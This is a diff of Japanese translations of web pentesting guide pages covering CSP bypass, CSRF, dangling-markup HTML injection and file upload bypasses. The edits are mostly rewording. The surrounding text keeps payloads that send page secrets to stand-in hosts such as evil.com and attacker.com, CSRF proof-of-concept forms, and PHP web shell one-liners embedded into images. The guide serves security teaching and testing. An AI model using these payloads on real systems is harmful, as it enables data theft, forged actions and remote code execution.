var body = document.getElementsByTagName("body")[0]
|
||||||
@ -669,7 +669,7 @@ linkEl.rel = "prefetch"
|
|||||||
linkEl.href = urlWithYourPreciousData
|
linkEl.href = urlWithYourPreciousData
|
||||||
document.head.appendChild(linkEl)
|
document.head.appendChild(linkEl)
|
||||||
```
|
```
|
||||||
このような事態を避けるために、サーバーはHTTPヘッダーを送信できます:
|
この問題を避けるために、サーバーはHTTPヘッダーを送信できます:
|
||||||
```
|
```
|
||||||
X-DNS-Prefetch-Control: off
|
X-DNS-Prefetch-Control: off
|
||||||
```
|
```
|
||||||
@ -678,9 +678,9 @@ X-DNS-Prefetch-Control: off
|
|||||||
|
|
||||||
### WebRTC
|
### WebRTC
|
||||||
|
|
||||||
いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。
|
いくつかのページでは、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。
|
||||||
|
|
||||||
実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください:
|
実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください:
|
||||||
```javascript
|
```javascript
|
||||||
;(async () => {
|
;(async () => {
|
||||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||||
|
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Cross-Site Request Forgery (CSRF) Explained
|
## Cross-Site Request Forgery (CSRF) Explained
|
||||||
|
|
||||||
**Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを悪用して、無防備なユーザーの代わりにアクションを実行することを可能にします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。
|
**Cross-Site Request Forgery (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを利用して、無防備なユーザーの代わりにアクションを実行することを可能にします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。
|
||||||
|
|
||||||
### Prerequisites for a CSRF Attack
|
### Prerequisites for a CSRF Attack
|
||||||
|
|
||||||
@ -39,11 +39,11 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
|
|||||||
|
|
||||||
### From POST to GET
|
### From POST to GET
|
||||||
|
|
||||||
悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信するように準備されている**かもしれませんが、**GET**も**有効**であり、GETリクエストを送信したときに**CSRFトークンがまだ検証されているかどうかを確認**する必要があります。
|
悪用したいフォームが**CSRFトークンを持つPOSTリクエストを送信するように準備されている**かもしれませんが、**GET**も**有効**であり、GETリクエストを送信したときに**CSRFトークンがまだ検証されているか**を**確認**する必要があります。
|
||||||
|
|
||||||
### Lack of token
|
### Lack of token
|
||||||
|
|
||||||
アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを運ぶパラメータを**削除することによって**これを悪用できます。これにより、検証プロセスを回避し、Cross-Site Request Forgery (CSRF)攻撃を効果的に実行できます。
|
アプリケーションは、トークンが存在する場合に**トークンを検証するメカニズム**を実装しているかもしれません。しかし、トークンが存在しない場合に検証が完全にスキップされると、脆弱性が生じます。攻撃者は、トークンを運ぶパラメータを**削除すること**によってこれを悪用できます。これにより、検証プロセスを回避し、効果的にCross-Site Request Forgery (CSRF)攻撃を実行できます。
|
||||||
|
|
||||||
### CSRF token is not tied to the user session
|
### CSRF token is not tied to the user session
|
||||||
|
|
||||||
@ -59,9 +59,9 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
|
|||||||
|
|
||||||
### Method bypass
|
### Method bypass
|
||||||
|
|
||||||
リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているかどうかを確認してください。たとえば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます:_https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
リクエストが「**奇妙な**」**メソッド**を使用している場合、**メソッド**の**オーバーライド機能**が機能しているか確認してください。例えば、**PUT**メソッドを使用している場合、**POST**メソッドを使用して**送信**することを試みることができます:_https://example.com/my/dear/api/val/num?**\_method=PUT**_
|
||||||
|
|
||||||
これは、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することで機能する場合もあります:
|
これは、**POSTリクエスト内に\_methodパラメータを送信する**か、**ヘッダー**を使用することでもうまくいく可能性があります:
|
||||||
|
|
||||||
- _X-HTTP-Method_
|
- _X-HTTP-Method_
|
||||||
- _X-HTTP-Method-Override_
|
- _X-HTTP-Method-Override_
|
||||||
@ -72,13 +72,13 @@ CSRF攻撃から保護するために実装できるいくつかの対策があ
|
|||||||
リクエストが**CSRF保護メソッド**として**トークン**を持つ**カスタムヘッダー**を追加している場合:
|
リクエストが**CSRF保護メソッド**として**トークン**を持つ**カスタムヘッダー**を追加している場合:
|
||||||
|
|
||||||
- **カスタマイズされたトークンとヘッダーなしでリクエストをテスト**します。
|
- **カスタマイズされたトークンとヘッダーなしでリクエストをテスト**します。
|
||||||
- **同じ長さだが異なるトークンでリクエストをテスト**します。
|
- **同じ長さだが異なるトークン**でリクエストをテストします。
|
||||||
|
|
||||||
### CSRF token is verified by a cookie
|
### CSRF token is verified by a cookie
|
||||||
|
|
||||||
アプリケーションは、トークンをクッキーとリクエストパラメータの両方に複製することによってCSRF保護を実装するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することがあります。アプリケーションは、リクエストパラメータ内のトークンがクッキーの値と一致するかどうかを確認することでリクエストを検証します。
|
アプリケーションは、トークンをクッキーとリクエストパラメータの両方に複製することによってCSRF保護を実装するか、CSRFクッキーを設定し、バックエンドで送信されたトークンがクッキーに対応しているかを検証することがあります。アプリケーションは、リクエストパラメータ内のトークンがクッキーの値と一致するかどうかを確認することでリクエストを検証します。
|
||||||
|
|
||||||
ただし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる欠陥がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。
|
しかし、この方法は、攻撃者が被害者のブラウザにCSRFクッキーを設定できる欠陥がある場合、CSRF攻撃に対して脆弱です。攻撃者は、クッキーを設定する欺瞞的な画像を読み込んだ後、CSRF攻撃を開始することでこれを悪用できます。
|
||||||
|
|
||||||
以下は、攻撃がどのように構成されるかの例です:
|
以下は、攻撃がどのように構成されるかの例です:
|
||||||
```html
|
```html
|
||||||
@ -103,11 +103,11 @@ onerror="document.forms[0].submit();" />
|
|||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> セッションクッキーに**csrfトークンが関連付けられている場合、この攻撃は機能しません**。なぜなら、被害者のセッションを設定する必要があり、そのため自分自身を攻撃することになります。
|
> **csrfトークンがセッションクッキーに関連している場合、この攻撃は機能しません**。なぜなら、あなたは被害者のセッションを設定する必要があり、そのため自分自身を攻撃することになります。
|
||||||
|
|
||||||
### Content-Typeの変更
|
### Content-Typeの変更
|
||||||
|
|
||||||
[**これ**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)によると、**POST**メソッドを使用して**プレフライト**リクエストを回避するために、許可されているContent-Typeの値は次のとおりです。
|
[**これ**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests)によると、**POST**メソッドを使用して**プレフライト**リクエストを回避するために、許可されているContent-Typeの値は次のとおりです:
|
||||||
|
|
||||||
- **`application/x-www-form-urlencoded`**
|
- **`application/x-www-form-urlencoded`**
|
||||||
- **`multipart/form-data`**
|
- **`multipart/form-data`**
|
||||||
@ -115,7 +115,7 @@ onerror="document.forms[0].submit();" />
|
|||||||
|
|
||||||
ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._などの他の値も試すべきです。
|
ただし、使用される**Content-Type**によって**サーバーのロジックが異なる場合がある**ため、上記の値や**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._などの他の値も試すべきです。
|
||||||
|
|
||||||
例([ここ](https://brycec.me/posts/corctf_2021_challenges)から)では、JSONデータをtext/plainとして送信しています。
|
例([ここ](https://brycec.me/posts/corctf_2021_challenges)から)として、JSONデータをtext/plainとして送信する方法:
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body>
|
<body>
|
||||||
@ -134,13 +134,13 @@ form.submit()
|
|||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
### JSONデータのプリフライトリクエストをバイパスする
|
### JSONデータのためのプリフライトリクエストのバイパス
|
||||||
|
|
||||||
POSTリクエストを介してJSONデータを送信しようとする際、HTMLフォームで`Content-Type: application/json`を使用することは直接的には不可能です。同様に、`XMLHttpRequest`を使用してこのコンテンツタイプを送信すると、プリフライトリクエストが開始されます。それでも、この制限を回避し、サーバーがContent-Typeに関係なくJSONデータを処理するかどうかを確認するための戦略があります:
|
POSTリクエストを介してJSONデータを送信しようとする際、HTMLフォームで`Content-Type: application/json`を使用することは直接的には不可能です。同様に、`XMLHttpRequest`を使用してこのコンテンツタイプを送信すると、プリフライトリクエストが開始されます。それにもかかわらず、この制限を回避し、サーバーがContent-Typeに関係なくJSONデータを処理するかどうかを確認するための戦略があります:
|
||||||
|
|
||||||
1. **代替コンテンツタイプの使用**: フォームで`enctype="text/plain"`を設定することにより、`Content-Type: text/plain`または`Content-Type: application/x-www-form-urlencoded`を使用します。このアプローチは、バックエンドがContent-Typeに関係なくデータを利用するかどうかをテストします。
|
1. **代替コンテンツタイプの使用**: フォームで`enctype="text/plain"`を設定することにより、`Content-Type: text/plain`または`Content-Type: application/x-www-form-urlencoded`を使用します。このアプローチは、バックエンドがContent-Typeに関係なくデータを利用するかどうかをテストします。
|
||||||
2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを保証しつつプリフライトリクエストを回避するために、`Content-Type: text/plain; application/json`でデータを送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが`application/json`を受け入れるように設定されていれば正しく処理される可能性があります。
|
2. **コンテンツタイプの変更**: サーバーがコンテンツをJSONとして認識することを保証しながらプリフライトリクエストを回避するために、`Content-Type: text/plain; application/json`でデータを送信できます。これによりプリフライトリクエストはトリガーされませんが、サーバーが`application/json`を受け入れるように設定されていれば正しく処理される可能性があります。
|
||||||
3. **SWFフラッシュファイルの利用**: あまり一般的ではありませんが、SWFフラッシュファイルを使用してこのような制限を回避する方法もあります。この技術の詳細については、[この投稿](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。
|
3. **SWFフラッシュファイルの利用**: あまり一般的ではありませんが、SWFフラッシュファイルを使用してこのような制限を回避する方法もあります。この技術の詳細については、[this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)を参照してください。
|
||||||
|
|
||||||
### リファラー/オリジンチェックのバイパス
|
### リファラー/オリジンチェックのバイパス
|
||||||
|
|
||||||
@ -189,7 +189,7 @@ document.forms[0].submit()
|
|||||||
```
|
```
|
||||||
### **HEADメソッドバイパス**
|
### **HEADメソッドバイパス**
|
||||||
|
|
||||||
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されています - これはOakに特有の一般的な回避策です。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡されますが、アプリはレスポンスボディを削除します**。
|
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)の最初の部分では、[Oakのソースコード](https://github.com/oakserver/oak/blob/main/router.ts#L281)が説明されており、ルーターは**HEADリクエストをGETリクエストとして処理する**ように設定されており、レスポンスボディはありません - これはOakに特有の一般的な回避策です。HEADリクエストを処理する特定のハンドラーの代わりに、単に**GETハンドラーに渡されますが、アプリはレスポンスボディを削除します**。
|
||||||
|
|
||||||
したがって、GETリクエストが制限されている場合は、**GETリクエストとして処理されるHEADリクエストを送信することができます**。
|
したがって、GETリクエストが制限されている場合は、**GETリクエストとして処理されるHEADリクエストを送信することができます**。
|
||||||
|
|
||||||
@ -197,7 +197,7 @@ document.forms[0].submit()
|
|||||||
|
|
||||||
### **CSRFトークンの抽出**
|
### **CSRFトークンの抽出**
|
||||||
|
|
||||||
**CSRFトークン**が**防御**として使用されている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)脆弱性や[**ダングリングマークアップ**](dangling-markup-html-scriptless-injection/)脆弱性を悪用して**抽出を試みる**ことができます。
|
**CSRFトークン**が**防御**として使用されている場合、[**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens)脆弱性や[**ダングリングマークアップ**](dangling-markup-html-scriptless-injection/index.html)脆弱性を利用して**抽出を試みる**ことができます。
|
||||||
|
|
||||||
### **HTMLタグを使用したGET**
|
### **HTMLタグを使用したGET**
|
||||||
```xml
|
```xml
|
||||||
|
@ -4,16 +4,16 @@
|
|||||||
|
|
||||||
## 概要
|
## 概要
|
||||||
|
|
||||||
この技術は、**HTMLインジェクションが見つかった場合**にユーザーから情報を抽出するために使用できます。これは、**[**XSS**](../xss-cross-site-scripting/)を悪用する方法が見つからない場合**に非常に便利ですが、**いくつかのHTMLタグを注入できる**場合に役立ちます。\
|
この技術は、**HTMLインジェクションが見つかった場合**にユーザーから情報を抽出するために使用できます。これは、**[**XSS**](../xss-cross-site-scripting/index.html)**を悪用する方法が見つからない場合でも、**いくつかのHTMLタグを注入できる**場合に非常に便利です。\
|
||||||
また、HTML内に**秘密が平文で保存されている**場合にそれをクライアントから**抽出**したり、スクリプトの実行を誤導したりするのにも役立ちます。
|
また、HTML内に**平文で保存された秘密**があり、それをクライアントから**抽出**したい場合や、スクリプトの実行を誤導したい場合にも役立ちます。
|
||||||
|
|
||||||
ここでコメントされた複数の技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)で抽出することによって、いくつかの**コンテンツセキュリティポリシー**を回避するために使用できます([**Content Security Policy**](../content-security-policy-csp-bypass/))。
|
ここでコメントされた複数の技術は、情報を予期しない方法(HTMLタグ、CSS、HTTPメタタグ、フォーム、ベースなど)で抽出することによって、いくつかの**[**コンテンツセキュリティポリシー**](../content-security-policy-csp-bypass/index.html)**を回避するために使用できます。
|
||||||
|
|
||||||
## 主なアプリケーション
|
## 主なアプリケーション
|
||||||
|
|
||||||
### 平文の秘密を盗む
|
### 平文の秘密を盗む
|
||||||
|
|
||||||
ページが読み込まれるときに`<img src='http://evil.com/log.cgi?`を注入すると、被害者は注入された`img`タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密が含まれている場合、あなたはそれを盗むことができます(ダブルクオートを使用して同じことを行うこともできます。どちらがより興味深いかを確認してください)。
|
ページが読み込まれるときに`<img src='http://evil.com/log.cgi?`を注入すると、被害者は注入された`img`タグとコード内の次の引用符の間のすべてのコードを送信します。そのチャンクに秘密が含まれている場合、あなたはそれを盗むことになります(ダブルクオートを使用して同じことができます。どちらがより興味深いかを見てみてください)。
|
||||||
|
|
||||||
`img`タグが禁止されている場合(例えばCSPのため)、`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`を使用することもできます。
|
`img`タグが禁止されている場合(例えばCSPのため)、`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`を使用することもできます。
|
||||||
```html
|
```html
|
||||||
@ -28,11 +28,11 @@
|
|||||||
<style>@import//hackvertor.co.uk? <--- Injected
|
<style>@import//hackvertor.co.uk? <--- Injected
|
||||||
<b>steal me!</b>;
|
<b>steal me!</b>;
|
||||||
```
|
```
|
||||||
あなたはまた**`<table`**を使用することもできます:
|
あなたは**`<table`**を使用することもできます:
|
||||||
```html
|
```html
|
||||||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||||||
```
|
```
|
||||||
`<base` タグを挿入することもできます。すべての情報は引用が閉じられるまで送信されますが、いくつかのユーザー操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、base タグがリンクによって指されるドメインを変更するからです)。
|
`<base` タグを挿入することもできます。すべての情報は引用が閉じられるまで送信されますが、いくつかのユーザー操作が必要です(ユーザーはリンクをクリックする必要があります。なぜなら、base タグがリンクが指すドメインを変更するからです)。
|
||||||
```html
|
```html
|
||||||
<base target=' <--- Injected
|
<base target=' <--- Injected
|
||||||
steal me'<b>test</b>
|
steal me'<b>test</b>
|
||||||
@ -73,7 +73,7 @@ I get consumed!
|
|||||||
```
|
```
|
||||||
### フォームパラメータインジェクション
|
### フォームパラメータインジェクション
|
||||||
|
|
||||||
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行されることがあります:
|
フォームのパスを変更し、新しい値を挿入することで、予期しないアクションが実行されるようになります:
|
||||||
```html
|
```html
|
||||||
<form action="/change_settings.php">
|
<form action="/change_settings.php">
|
||||||
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
|
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
|
||||||
@ -90,7 +90,7 @@ I get consumed!
|
|||||||
|
|
||||||
`<noscript></noscript>` は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグです(Chromeでは [chrome://settings/content/javascript](chrome://settings/content/javascript) でJavaScriptを有効/無効にできます)。
|
`<noscript></noscript>` は、ブラウザがJavaScriptをサポートしていない場合にその内容が解釈されるタグです(Chromeでは [chrome://settings/content/javascript](chrome://settings/content/javascript) でJavaScriptを有効/無効にできます)。
|
||||||
|
|
||||||
攻撃者が制御するサイトに対して、注入ポイントからページの内容をエクスフィルトレートする方法は、これを注入することです:
|
攻撃者が制御するサイトに対して、注入ポイントからページの内容を下部まで抽出する方法は、これを注入することです:
|
||||||
```html
|
```html
|
||||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||||||
```
|
```
|
||||||
@ -101,8 +101,8 @@ I get consumed!
|
|||||||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||||||
<base target='
|
<base target='
|
||||||
```
|
```
|
||||||
注意してください、あなたは**犠牲者**に**リンクをクリック**するように頼み、そのリンクは**あなたが制御するペイロード**に**リダイレクト**します。また、**`base`**タグ内の**`target`**属性は次の単一引用符まで**HTMLコンテンツ**を含むことに注意してください。\
|
注意してください、あなたは**犠牲者**に**リンクをクリック**させ、そのリンクが**あなたが制御するペイロード**に**リダイレクト**されるようにします。また、**`base`**タグ内の**`target`**属性は次の単一引用符までの**HTMLコンテンツ**を含むことに注意してください。\
|
||||||
これにより、リンクがクリックされた場合の**`window.name`**の**値**はすべてその**HTMLコンテンツ**になります。したがって、あなたがリンクをクリックすることで犠牲者がアクセスしているページを**制御**しているため、その**`window.name`**にアクセスし、そのデータを**抽出**することができます:
|
これにより、リンクがクリックされた場合の**`window.name`**の**値**はすべてその**HTMLコンテンツ**になります。したがって、あなたがリンクをクリックすることで犠牲者がアクセスしているページを**制御**しているため、その**`window.name`**にアクセスし、そのデータを**抽出**することができます。
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
if(window.name) {
|
if(window.name) {
|
||||||
@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
|
|||||||
```
|
```
|
||||||
これを軽減するには、次のようなものを使用できます: `sandbox=' allow-scripts allow-top-navigation'`
|
これを軽減するには、次のようなものを使用できます: `sandbox=' allow-scripts allow-top-navigation'`
|
||||||
|
|
||||||
iframeは、**iframeのname属性を使用して**、別のページから機密情報を漏洩させるためにも悪用される可能性があります。これは、HTMLインジェクションを悪用して**機密情報がiframeのname属性内に表示される**iframeを作成でき、そのnameを最初のiframeからアクセスして漏洩させることができるためです。
|
iframeは、**iframeのname属性を使用して**、別のページから機密情報を漏洩させるためにも悪用される可能性があります。これは、HTMLインジェクションを悪用して**機密情報がiframeのname属性内に表示される**ようにするiframeを作成でき、そのnameを最初のiframeからアクセスして漏洩させることができるためです。
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
function cspBypass(win) {
|
function cspBypass(win) {
|
||||||
|
@ -18,10 +18,10 @@
|
|||||||
### ファイル拡張子チェックのバイパス
|
### ファイル拡張子チェックのバイパス
|
||||||
|
|
||||||
1. 適用される場合、**前の拡張子をチェック**します。また、いくつかの**大文字**を使用してテストします: _pHp, .pHP5, .PhAr ..._
|
1. 適用される場合、**前の拡張子をチェック**します。また、いくつかの**大文字**を使用してテストします: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _実行拡張子の前に**有効な拡張子を追加する**ことをチェックします(前の拡張子も使用):_
|
2. _実行拡張子の前に**有効な拡張子を追加**してチェックします(前の拡張子も使用):_
|
||||||
- _file.png.php_
|
- _file.png.php_
|
||||||
- _file.png.Php5_
|
- _file.png.Php5_
|
||||||
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用することも試すことができます_)
|
3. **特殊文字を末尾に追加**してみてください。Burpを使用してすべての**ascii**および**Unicode**文字を**ブルートフォース**することができます。 (_前述の**拡張子**を使用してみることもできます_)
|
||||||
- _file.php%20_
|
- _file.php%20_
|
||||||
- _file.php%0a_
|
- _file.php%0a_
|
||||||
- _file.php%00_
|
- _file.php%00_
|
||||||
@ -43,8 +43,8 @@
|
|||||||
5. 前のチェックに**別の拡張子の層を追加**します:
|
5. 前のチェックに**別の拡張子の層を追加**します:
|
||||||
- _file.png.jpg.php_
|
- _file.png.jpg.php_
|
||||||
- _file.php%00.png%00.jpg_
|
- _file.php%00.png%00.jpg_
|
||||||
6. **有効な拡張子の前にexec拡張子を置く**ことを試み、サーバーが誤って設定されていることを祈ります。(拡張子**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます):
|
6. **有効な拡張子の前にexec拡張子を置き**、サーバーが誤って設定されていることを祈ります。(拡張子が**.php**で終わらないが、**.php**で終わるものはすべてコードを実行するApacheの誤設定を悪用するのに役立ちます):
|
||||||
- _ex: file.php.png_
|
- _例: file.php.png_
|
||||||
7. **Windows**での**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”)。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
|
7. **Windows**での**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後にコロン文字「:」が挿入され、許可された拡張子の前に挿入されます。その結果、サーバー上に**禁止された拡張子の空のファイル**が作成されます(例: “file.asax:.jpg”)。このファイルは、他の技術を使用して後で編集することができます。 “**::$data**”パターンを使用して非空のファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立ちます(例: “file.asp::$data.”)
|
||||||
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
|
8. ファイル名の制限を破ることを試みます。有効な拡張子が切り捨てられ、悪意のあるPHPが残ります。 AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
@ -52,40 +52,40 @@
|
|||||||
# Linuxの最大255バイト
|
# Linuxの最大255バイト
|
||||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引き、.pngを追加
|
||||||
# ファイルをアップロードし、許可される文字数の応答を確認します。例えば236としましょう
|
# ファイルをアップロードし、許可される文字数の応答を確認します。236としましょう
|
||||||
python -c 'print "A" * 232'
|
python -c 'print "A" * 232'
|
||||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||||
# ペイロードを作成
|
# ペイロードを作成
|
||||||
AAA<--SNIP 232 A-->AAA.php.png
|
AAA<--SNIP 232 A-->AAA.php.png
|
||||||
```
|
```
|
||||||
|
|
||||||
### コンテンツタイプ、マジックナンバー、圧縮およびリサイズのバイパス
|
### コンテンツタイプ、マジックナンバー、圧縮&リサイズのバイパス
|
||||||
|
|
||||||
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
|
- **Content-Type**チェックをバイパスするには、**Content-Type** **ヘッダー**の**値**を次のように設定します: _image/png_ , _text/plain , application/octet-stream_
|
||||||
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
1. Content-Type **ワードリスト**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||||
- ファイルの先頭に**実際の画像のバイト**を追加して**マジックナンバー**チェックをバイパスします(_file_コマンドを混乱させます)。または、**メタデータ**内にシェルを挿入します:\
|
- ファイルの先頭に**実際の画像のバイト**を追加して**マジックナンバー**チェックをバイパスします(_file_コマンドを混乱させます)。または、**メタデータ**内にシェルを挿入します:\
|
||||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||||
`\` または、画像内にペイロードを**直接挿入する**こともできます:\
|
`\` または、画像にペイロードを**直接挿入**することもできます:\
|
||||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||||
- 画像に**圧縮が追加されている**場合、例えば、[PHP-GD](https://www.php.net/manual/fr/book.image.php)のような標準のPHPライブラリを使用している場合、前述の技術は役に立ちません。しかし、**PLTEチャンク** [**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮に耐えるテキストを挿入することができます。
|
